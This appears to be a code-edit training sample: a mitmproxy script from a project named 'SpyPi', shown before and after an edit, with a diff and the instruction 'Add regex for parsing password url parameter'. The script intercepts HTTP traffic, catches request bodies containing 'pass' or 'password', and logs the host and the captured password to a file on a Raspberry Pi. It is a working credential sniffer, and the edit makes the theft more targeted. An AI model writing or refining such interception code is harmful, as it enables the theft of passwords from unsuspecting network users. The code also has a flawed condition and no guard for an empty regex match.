
import sys
import datetime
from colors import farben

def request(flow):
    now = datetime.datetime.now()
    content = flow.request.get_text()
    host = flow.request.pretty_host
    method = flow.request.method
    if method == "POST" and ("pass" in content) or ("password" in content) :
        with open ("/home/pi/SpyPi/Code/proxy.txt", "a") as myfile:
            myfile.write(farben.AUF + str(now) +" // " + farben.END)
            myfile.write(farben.LD + host + farben.END)
            myfile.write("\n")
            myfile.write(farben.IN + content + farben.END)
            myfile.write("\n")
            myfile.write("\n")


import re
import sys
import datetime
from colors import farben


def request(flow):
    now = datetime.datetime.now()
    content = flow.request.get_text()
    host = flow.request.pretty_host
    method = flow.request.method
    if method == "POST" and ("pass" in content) or ("password" in content):
        with open("/home/pi/SpyPi/Code/proxy.txt", "a") as myfile:
            myfile.write(farben.AUF + str(now) + " // " + farben.END)
            myfile.write(farben.LD + host + farben.END)
            myfile.write("\n")
            passwords = re.findall(r"(?:pass|password)=([^&]*)", content)
            myfile.write(farben.IN + passwords[0] + farben.END)
            myfile.write("\n")
            myfile.write("\n")

Add regex for parsing password url parameter
Add regex for parsing password url parameter

  
+ import re
  import sys
  import datetime
  from colors import farben
+ 
  
  def request(flow):
      now = datetime.datetime.now()
      content = flow.request.get_text()
      host = flow.request.pretty_host
      method = flow.request.method
-     if method == "POST" and ("pass" in content) or ("password" in content) :
+     if method == "POST" and ("pass" in content) or ("password" in content):
-         with open ("/home/pi/SpyPi/Code/proxy.txt", "a") as myfile:
+         with open("/home/pi/SpyPi/Code/proxy.txt", "a") as myfile:
-             myfile.write(farben.AUF + str(now) +" // " + farben.END)
+             myfile.write(farben.AUF + str(now) + " // " + farben.END)
              myfile.write(farben.LD + host + farben.END)
              myfile.write("\n")
+             passwords = re.findall(r"(?:pass|password)=([^&]*)", content)
-             myfile.write(farben.IN + content + farben.END)
+             myfile.write(farben.IN + passwords[0] + farben.END)
              myfile.write("\n")
              myfile.write("\n")
  
Add regex for parsing password url parameter
## Code Before:

import sys
import datetime
from colors import farben

def request(flow):
    now = datetime.datetime.now()
    content = flow.request.get_text()
    host = flow.request.pretty_host
    method = flow.request.method
    if method == "POST" and ("pass" in content) or ("password" in content) :
        with open ("/home/pi/SpyPi/Code/proxy.txt", "a") as myfile:
            myfile.write(farben.AUF + str(now) +" // " + farben.END)
            myfile.write(farben.LD + host + farben.END)
            myfile.write("\n")
            myfile.write(farben.IN + content + farben.END)
            myfile.write("\n")
            myfile.write("\n")

## Instruction:
Add regex for parsing password url parameter
## Code After:

import re
import sys
import datetime
from colors import farben


def request(flow):
    now = datetime.datetime.now()
    content = flow.request.get_text()
    host = flow.request.pretty_host
    method = flow.request.method
    if method == "POST" and ("pass" in content) or ("password" in content):
        with open("/home/pi/SpyPi/Code/proxy.txt", "a") as myfile:
            myfile.write(farben.AUF + str(now) + " // " + farben.END)
            myfile.write(farben.LD + host + farben.END)
            myfile.write("\n")
            passwords = re.findall(r"(?:pass|password)=([^&]*)", content)
            myfile.write(farben.IN + passwords[0] + farben.END)
            myfile.write("\n")
            myfile.write("\n")
